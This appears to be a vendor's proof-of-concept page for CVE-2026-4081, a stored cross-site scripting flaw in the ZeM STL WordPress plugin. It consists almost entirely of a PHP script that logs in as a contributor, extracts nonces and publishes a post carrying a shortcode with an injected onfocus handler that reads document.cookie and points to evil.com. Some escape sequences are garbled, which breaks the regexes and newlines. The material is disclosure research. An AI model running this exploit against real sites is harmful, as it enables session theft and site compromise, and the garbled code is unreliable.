CVE-2026-4081: ZeM STL <= 1.0 Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes PoC, Patch Analysis & Rule

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4081 - ZeM STL <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

// Configuration
$target_url = 'http://example.com';  // Change to target WordPress site URL
$username = 'contributor';           // Valid WordPress account with Contributor role
$password = 'password';              // Password for the account

// Step 1: Login to get cookies and nonces
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/'
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if (strpos($response, 'Dashboard') === false && strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}
echo "[+] Login successfuln";

// Step 2: Extract _wpnonce for creating a new post
$admin_url = $target_url . '/wp-admin/';
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_POST, 0);
$response = curl_exec($ch);

// Extract the REST API nonce or admin nonce from the page
preg_match('/wp_rest(s*nonces*:s*"([^"]+)"/i', $response, $matches);
$rest_nonce = isset($matches[1]) ? $matches[1] : '';

if (empty($rest_nonce)) {
    // Fallback: try to extract from inline script
    preg_match('/wpApiSettings.*nonce"s*:s*"([^"]+)"/i', $response, $matches2);
    $rest_nonce = isset($matches2[1]) ? $matches2[1] : '';
}

echo "[+] REST nonce: " . ($rest_nonce ? $rest_nonce : 'Not found, trying AJAX method') . "n";

// Step 3: Create a new post with the malicious shortcode
// Use the WordPress REST API to create a post
if (!empty($rest_nonce)) {
    $post_data = array(
        'title' => 'Atomic Edge PoC - CVE-2026-4081',
        'content' => '[zemstl url="http://evil.com" color="red" onfocus="alert(document.cookie)" autofocus="true" bgcolor="blue"]This is a test[/zemstl]',
        'status' => 'publish'
    );
    
    $rest_url = $target_url . '/wp-json/wp/v2/posts';
    $headers = array(
        'Content-Type: application/json',
        'X-WP-Nonce: ' . $rest_nonce
    );
    
    curl_setopt($ch, CURLOPT_URL, $rest_url);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    if ($http_code == 201) {
        $result = json_decode($response, true);
        echo "[+] Post created successfully! ID: " . $result['id'] . "n";
        echo "[+] Visit: " . $result['link'] . "n";
    } else {
        echo "[-] Failed to create post via REST API. HTTP code: $http_coden";
        echo "[-] Response: " . substr($response, 0, 500) . "n";
    }
} else {
    // Fallback: Use admin-ajax.php method or direct admin post creation
    echo "[!] REST API nonce not found. Attempting admin-post.php method...n";
    
    // Get the admin nonce for post creation
    $post_new_url = $target_url . '/wp-admin/post-new.php?post_type=post';
    curl_setopt($ch, CURLOPT_URL, $post_new_url);
    curl_setopt($ch, CURLOPT_POST, 0);
    $response = curl_exec($ch);
    
    preg_match('/<input[^>]+id="_wpnonce"[^>]+value="([^"]+)"/', $response, $nonce_matches);
    $admin_nonce = isset($nonce_matches[1]) ? $nonce_matches[1] : '';
    
    if (empty($admin_nonce)) {
        die('Failed to extract admin nonce.');
    }
    
    // Submit the post via admin-post or direct POST
    $post_data = array(
        '_wpnonce' => $admin_nonce,
        'action' => 'post',
        'post_type' => 'post',
        'post_title' => 'Atomic Edge PoC - CVE-2026-4081',
        'content' => '[zemstl url="http://evil.com" color="red" onfocus="alert(document.cookie)" autofocus="true" bgcolor="blue"]This is a test[/zemstl]',
        'post_status' => 'publish'
    );
    
    curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    
    // Check if redirect happened (success)
    $effective_url = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL);
    if (strpos($effective_url, 'post=') !== false) {
        echo "[+] Post created! Effective URL: $effective_urln";
        echo "[+] The XSS payload is now live on the site.n";
    } else {
        echo "[-] Failed to create post. HTTP code: $http_coden";
        echo "[-] Response: " . substr($response, 0, 500) . "n";
    }
}

curl_close($ch);
echo "n[+] Proof of Concept complete. Remove the created post after verification.n";